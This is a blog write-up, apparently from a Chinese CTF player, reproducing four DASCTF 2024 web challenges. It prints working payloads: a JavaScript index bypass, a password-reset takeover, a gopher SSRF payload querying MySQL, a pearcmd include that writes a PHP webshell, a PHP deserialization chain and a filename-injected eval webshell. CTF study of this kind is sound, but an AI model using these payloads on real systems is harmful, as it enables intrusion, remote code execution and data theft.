dasctf2024 week1复现

复现题目.

cool_index

一道纯js题目.找到核心的代码段如下

app.post("/article", (req, res) => {
    const token = req.cookies.token;
    if (token) {
        try {
            const decoded = jwt.verify(token, JWT_SECRET);
            let index = req.body.index;
            if (req.body.index < 0) {
                return res.status(400).json({ message: "你知道我要说什么" });
            }//如果小于0超界
            if (decoded.subscription !== "premium" && index >= 7) {
                return res
                    .status(403)
                    .json({ message: "订阅高级会员以解锁" });
            }
            index = parseInt(index);
            if (Number.isNaN(index) || index > articles.length - 1) {
                return res.status(400).json({ message: "你知道我要说什么" });
            }//如果大于七超界

            return res.json(articles[index]);
        } catch (error) {
            res.clearCookie("token");
            return res.status(403).json({ message: "重新登录罢" });
        }
    } else {
        return res.status(403).json({ message: "未登录" });
    }
});

我们知道第七页,也就是articles[7]存储着我们需要的flag.观察题目逻辑:要求index<0为假,>=7为假,然后对index进行了一个parseInt的类型转换,然后要求index不大于7.如果上述都满足的话能够输出数组的对应内容.
理论基础
在js中数字都是Number类型的,并没有区分.而当Number类型的数据大到一定程度的时候就会却缺乏精度.

9007199254740992 === 9007199254740993; // → true

由于js中的Number类型对于大数缺乏精度,因此引入了BigInt类型,其和Number类型是不一样的,不能对BigInt型和Number型进行算数运算(加减乘除).
而当Number和String进行比较的时候,如果String可以正确的转换为Number,则可正确的比较,如果不能正确的转换为Number的话,则会返回NAN.这点和php是截然不同的(因此js是万金油语言,但是php是屎)
在js中中存在parseInt()函数,能够将字符串转换为BigInt类型.parseInt函数对于字符串的转换是逐字符进行的,当遇到不能正确转换的字符时,会直接终止.(也就是说,parselnt不能正确的转换科学计数法).
那么入过我们传入一个7a会如何呢?在前两次比较的结果为NAN,因此为false.而7a会被parseInt转换为7n,因此在后面的判断时7n并不大于7,为false.在最后成功提取出
articles[7]
image

EasySignin

上来给了我们一个注册框,让我们去注册.试图注册用户名为admin,失败了,提示用户名已存在,发现这里可能有点东西.
然后登录以后发现有三个按钮:看点好看的,修改密码,登出.我们尝试看点好看的,发现不让看.于是我们猜测需要admin用户才能看.
我们点击修改密码,然后抓包,发现可以出现一个任意用户密码修改的漏洞.
image
我们合理的去推测后端的逻辑,是根据我们输入的username来从数据库中提取出来一行,然后如果我们的new-password和confirm-password是一致的话,就对该行的password进行修改.
而实际上,只需要加上一个输入当前的password,然后将数据库中的当前password和用户的输入进行比较即可确认
接下来我们成功的登录admin用户,然后去看好看的东西,发现显示图片的时候参数传递如下
http://2be629c4-b959-4baf-9c49-33b814538bab.node5.buuoj.cn:81/getpicture.php?url=https://tvax3.sinaimg.cn//large/0072Vf1pgy1fodqipz6i7j31kw0vk7wh.jpg
我们尝试直接访问url的网址,发现403forbiden,因此猜测存在ssrf漏洞
我们尝试直接ssrf进行读文件,发现回显的是nonono
image
image
尝试进行端口探测,但是只要有dict字样就显示nonono.因此采用http协议.
使用http协议进行探测发现只有3306端口开放,同时回显字段用base64解码发现有mysql字样,因此考虑打mysql.
gopher打mysql
前提:mysql无密码.这个时候我们就可以使用gopher进行远程执行mysql语句.gopher除了实现http的get和post功能外,还可以进行数据库交互,redis,ftp等强大功能.
我们使用gopherus工具来生成payload

生成的payload如下

gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%1b%00%00%00%03%73%65%6c%65%63%74%20%6c%6f%61%64%5f%66%69%6c%65%28%27%2f%66%6c%61%67%27%29%3b%01%00%00%00%01

然后我们需要对gopher协议进行二次url编码.
为什么要进行二次url编码呢?
get本身会对其进行一次意的url decode(由于其中含有特殊的字符,因此post也会对其进行一次url decode),然后curl_exec等包含了协议的函数还会对其进行第二次urldecode,因此我们上传的应该是进行了两次url encode的payload.

gopher%3A%2F%2F127.0.0.1%3A3306%2F_%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%251b%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%256c%256f%2561%2564%255f%2566%2569%256c%2565%2528%2527%252f%2566%256c%2561%2567%2527%2529%253b%2501%2500%2500%2500%2501

截取返回包即可获得flag

SuiteCrm

这是一个对于cve漏洞的复现,具体视频参考Suite CRM v7.14.2 - RCE via LFI | Advisories | Fluid Attacks.
该cve大体而言就是出现了任意文件包含漏洞,在product处存在一upload文件的接口,我们可以上传木马,然后构造index.php/<包含文件地址(包含.php字符串)>这样的url请求即可实现任意文件包含,包含木马.
由于包含的文件是通过路由形式包含的,因此可以有效的避免php伪协议攻击.而由于本题中将upload文件的接口去除,因此也无法做到上传文件马.因此我们考虑进行php自身的文件包含.
pearcmd文件包含
形成原理较为复杂,主要是因为php并没有严格的遵照rfc标准.
什么时候可以打pearcmd?

1.安装了pear扩展(pear就是一个php扩展及应用的代码仓库,没有安装pear扩展的话就没有pear.php文件可以利用了)
2.知道pearcmd.php文件的路径(默认路径是/usr/local/lib/php/pearcmd.php)
3.开启了register_argc_argv选项(只有开启了,$_SERVER[‘argv’]才会生效。)
4.有包含点,并且能包含php后缀的文件,而且没有open_basedir的限制。

翻译一下,就是docker pull下来的原生image都可以打pearcmd文件包含.
通用payload如下(不同情况不同修改)

?+config-create+/<?=system($_POST['cmd']);>+/tmp/shell.php

这样可以向/tmp/shell.php写入文件马,然后即可进行rce攻击.
我们访问81端口(提示80端口不能正确转发),然后构造payload
image
然后对/tmp/shell1.php进行rce即可
image
这题由于使用校园网,被卡了2个小时,换上热点直接好了,乐死了

web1234

开局源码泄露www.zip
index.php

<?php
error_reporting(0);
include "class.php";

$Config = unserialize(file_get_contents("/tmp/Config"));

foreach($_POST as $key=>$value){
    if(!is_array($value)){
        $param[$key] = addslashes($value);
    }
}

if($_GET['uname'] === $Config->uname && md5(md5($_GET['passwd'])) === $Config->passwd){
    $Admin = new Admin($Config);
    if($_POST['m'] === 'edit'){
        
        $avatar['fname'] = $_FILES['avatar']['name'];
        $avatar['fdata'] = file_get_contents($_FILES['avatar']['tmp_name']);
        $nickname = $param['nickname'];
        $sex = $param['sex'];
        $mail = $param['mail'];
        $telnum = $param['telnum'];

        $Admin->editconf($avatar, $nickname, $sex, $mail, $telnum);
    }elseif($_POST['m'] === 'reset') {
        $Admin->resetconf();
    }
}else{
    die("pls login! :)");
}

class.php

<?php

class Admin{

    public $Config;

    public function __construct($Config){
        //安全获取基本信息,返回修改配置的表单
        $Config->nickname = (is_string($Config->nickname) ? $Config->nickname : "");
        $Config->sex = (is_string($Config->sex) ? $Config->sex : "");
        $Config->mail = (is_string($Config->mail) ? $Config->mail : "");
        $Config->telnum = (is_string($Config->telnum) ? $Config->telnum : "");
        $this->Config = $Config;

        echo '    <form method="POST" enctype="multipart/form-data">
        <input type="file" name="avatar" >
        <input type="text" name="nickname" placeholder="nickname"/>
        <input type="text" name="sex" placeholder="sex"/>
        <input type="text" name="mail" placeholder="mail"/>
        <input type="text" name="telnum" placeholder="telnum"/>
        <input type="submit" name="m" value="edit"/>
    </form>';
    }

    public function editconf($avatar, $nickname, $sex, $mail, $telnum){
        //编辑表单内容
        $Config = $this->Config;

        $Config->avatar = $this->upload($avatar);
        $Config->nickname = $nickname;
        $Config->sex = (preg_match("/男|女/", $sex, $matches) ? $matches[0] : "武装直升机");
        $Config->mail = (preg_match('/.*@.*\..*/', $mail) ? $mail : "");
        $Config->telnum = substr($telnum, 0, 11);
        $this->Config = $Config;

        file_put_contents("/tmp/Config", serialize($Config));

        if(filesize("record.php") > 0){
            [new Log($Config),"log"]();
        }
    }

    public function resetconf(){
        //返回出厂设置
        file_put_contents("/tmp/Config", base64_decode('Tzo2OiJDb25maWciOjc6e3M6NToidW5hbWUiO3M6NToiYWRtaW4iO3M6NjoicGFzc3dkIjtzOjMyOiI1MGI5NzQ4Mjg5OTEwNDM2YmZkZDM0YmRhN2IxYzlkOSI7czo2OiJhdmF0YXIiO3M6MTA6Ii90bXAvMS5wbmciO3M6ODoibmlja25hbWUiO3M6MTU6IuWwj+eGiui9r+ezlk92TyI7czozOiJzZXgiO3M6Mzoi5aWzIjtzOjQ6Im1haWwiO3M6MTU6ImFkbWluQGFkbWluLmNvbSI7czo2OiJ0ZWxudW0iO3M6MTE6IjEyMzQ1Njc4OTAxIjt9'));
    }

    public function upload($avatar){
        $path = "/tmp/".preg_replace("/\.\./", "", $avatar['fname']);
        file_put_contents($path,$avatar['fdata']);
        return $path;
    }

    public function __wakeup(){
        $this->Config = ":(";
    }

    public function __destruct(){
        echo $this->Config->showconf();
    }
}



class Config{

    public $uname;
    public $passwd;
    public $avatar;
    public $nickname;
    public $sex;
    public $mail;
    public $telnum;

    public function __sleep(){
        echo "<script>alert('edit conf success\\n";
        echo preg_replace('/<br>/','\n',$this->showconf());
        echo "')</script>";
        return array("uname","passwd","avatar","nickname","sex","mail","telnum");
    }

    public function showconf(){
        $show = "<img src=\"data:image/png;base64,".base64_encode(file_get_contents($this->avatar))."\"/><br>";
        $show .= "nickname: $this->nickname<br>";
        $show .= "sex: $this->sex<br>";
        $show .= "mail: $this->mail<br>";
        $show .= "telnum: $this->telnum<br>";
        return $show;
    }

    public function __wakeup(){
        if(is_string($_GET['backdoor'])){
            $func = $_GET['backdoor'];
            $func();//:)
        }
    }

}

class Log{
    public $data;
    public function __construct($Config){
        $this->data = PHP_EOL.'$_'.time().' = \''."Edit: avatar->$Config->avatar, nickname->$Config->nickname, sex->$Config->sex, mail->$Config->mail, telnum->$Config->telnum".'\';'.PHP_EOL;
    }

    public function __toString(){
        if($this->data === "log_start()"){
            file_put_contents("record.php","<?php\nerror_reporting(0);\n");
        }
        return ":O";
    }

    public function log(){
        file_put_contents('record.php', $this->data, FILE_APPEND);
    }
}

还有一个record.php,里面没有内容.
我们对这个源码的正常功能进行分析和解释:
首先会将/tmp/Config文件内容进行反序列化得到一个Config对象.而这个对象包含着用户的个人信息.然后我们需要输入正确的账号和密码(账号直接存储,密码两次md5后存储),如果我们能够正确的输入账号和密码,则会生成一个Admin对象,然后暴露接口,允许我们上传不经任何检验的文件作为用户头像,并对个人信息进行修改,同时将我们的修改的内容进行base64编码alert出来.最后将我们修改的结果记录到record.php文件中.
可以看到,网站的运行整体是没问题的,但是由于出现了多处的错误配置,导致了问题.
我们先来看一下攻击的目标
我们能够访问的只有index.php,class.php,record.php这三个文件,那么问题就出现在了这三个文件中.由于index.php和class.php是不可控的,而record.php则会由我们人为的进行写入,因此我们最后攻击的要点一定是record.php

public function __toString(){
        if($this->data === "log_start()"){
            file_put_contents("record.php","<?php\nerror_reporting(0);\n");
        }
        return ":O";
    }

而我们可以看到在__tostring()这个方法中,如果成功进入if的条件语句,那么久可以向record.php中写入"<?php\nerror_reporting(0);\n"从而提供php标签,将后面的内容当做可以执行的php代码.那么我们的核心要点是如何触发这个__tostring()函数.
在Admin类下存在一个resetconf的方法,注释为恢复出厂设置,其中有base64串.解码.

O:6:"Config":7:{s:5:"uname";s:5:"admin";s:6:"passwd";s:32:"50b9748289910436bfdd34bda7b1c9d9";s:6:"avatar";s:10:"/tmp/1.png";s:8:"nickname";s:15:"小熊软糖OvO";s:3:"sex";s:3:"女";s:4:"mail";s:15:"admin@admin.com";s:6:"telnum";s:11:"12345678901";}

因此我们可以合理的进行猜测,这个字符串就是当前存储在/tmp/Config下的字符串.我们使用cmd5对密码进行破解,得到了当前的密码.
image
我们使用uname和passwd进行登录,成功暴露了接口
image
接下来我们来分析一下如何构造pop链来触发__tostring()魔术方法.不难看出:

Config.__sleep()->Config.showconf()->Log.__tostring()

写成exp如下

<?php
class Config
{
        public $uname;
        public $passwd;
        public $avatar;
        public $nickname;
        public $sex;
        public $mail;
        public $telnum;
        public function __construct(){
                $B=new Log();
                $this->avatar=$B;
        }
}
class Log{
        public $data;
        public function __construct(){
                $this->data="log_start()";
        }
}
$A=new Config();
echo serialize($A);

接下来介绍php session的知识点,也是本题的攻击的核心要点.
session是一种应用在web应用程序中,用来保持会话的有状态性的,存储在服务端的数据结构.session使用cookie技术,每个session都有一个独特的id,通常在http首部字段的cookie中以PHPSESSID的形式存在.
session以$_session[]的形式存储在服务器端的内存中,而当浏览器被关闭或是由于其他原因导致当前会话终止时,session会被序列化并存储在服务端本地(通常在/tmp目录下),格式通常为variable_name|serialized_value,半小时左右以后会被自动删除.如果说之前的PHPSESSID=lbz,那么生成的文件名将为sess_lbz.
当用户再次开启会话时(可能是自动的,也可能是其他原因触发了session_start()函数),服务端会首先在存储session的文件夹下去寻找有没有对应的序列化文件,如果有的话,会将其反序列化,并读取作为全局变量;否则会创建一个新的会话,并将 PHPSESSID cookie 的值设置为新会话的 ID.
那么我们回来看这道题
我们创建一个文件名为sess_lbz的文件,并向文件中写入

aaa|O:6:"Config":7:{s:5:"uname";N;s:6:"passwd";N;s:6:"avatar";O:3:"Log":1:{s:4:"data";s:11:"log_start()";}s:8:"nickname";N;s:3:"sex";N;s:4:"mail";N;s:6:"telnum";N;}

然后上传这个文件.
接下来添加url参数backdoor=session_start来触发如下的后门函数

public function __wakeup(){
        if(is_string($_GET['backdoor'])){
            $func = $_GET['backdoor'];
            $func();//:)
        }
    }

同时在cookie中添加PHPSESSID=lbz来开启一个新的会话,从而将sess_lbz文件中的内容反序列化为$_SESSION[].
image
然后我们接下来再一次访问,同时通过backdoor来创建新的对话,此时上一个对话的信息回被序列化,并存储到sess_lbz中,而在序列化的过程中,会触发Class类的__sleep()函数,从而完成整条pop的链的执行,向record.php中写入php标签.
注意:此次不要携带PHPSESSID(至少不要携带lbz),否则会向record.php中重复写入php标签
image
此时我们的record.php已经可以被当做php文件正确的解析了,接下来分析如何传马.

foreach($_POST as $key=>$value){
    if(!is_array($value)){
        $param[$key] = addslashes($value);
    }
}

我们注意到,对于我们传入的post参数,服务端会进行addslashes进行转义防御,但是由于配置错误,只转义防御了值,没防御键,而在Log类的log方法中,恰恰将文件名写入了record.php

public function log(){
        file_put_contents('record.php', $this->data, FILE_APPEND);
    }

因此我们只需要上传一个文件名为1';eval($_POST[1]);#的文件,并访问record.php即可
image
记录一个以前没注意的问题,就是burp的post模块并不会自动对字符进行url编码,这点是不同于hackbar的.

posted @   meraklbz  阅读(39)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
点击右上角即可分享
微信分享提示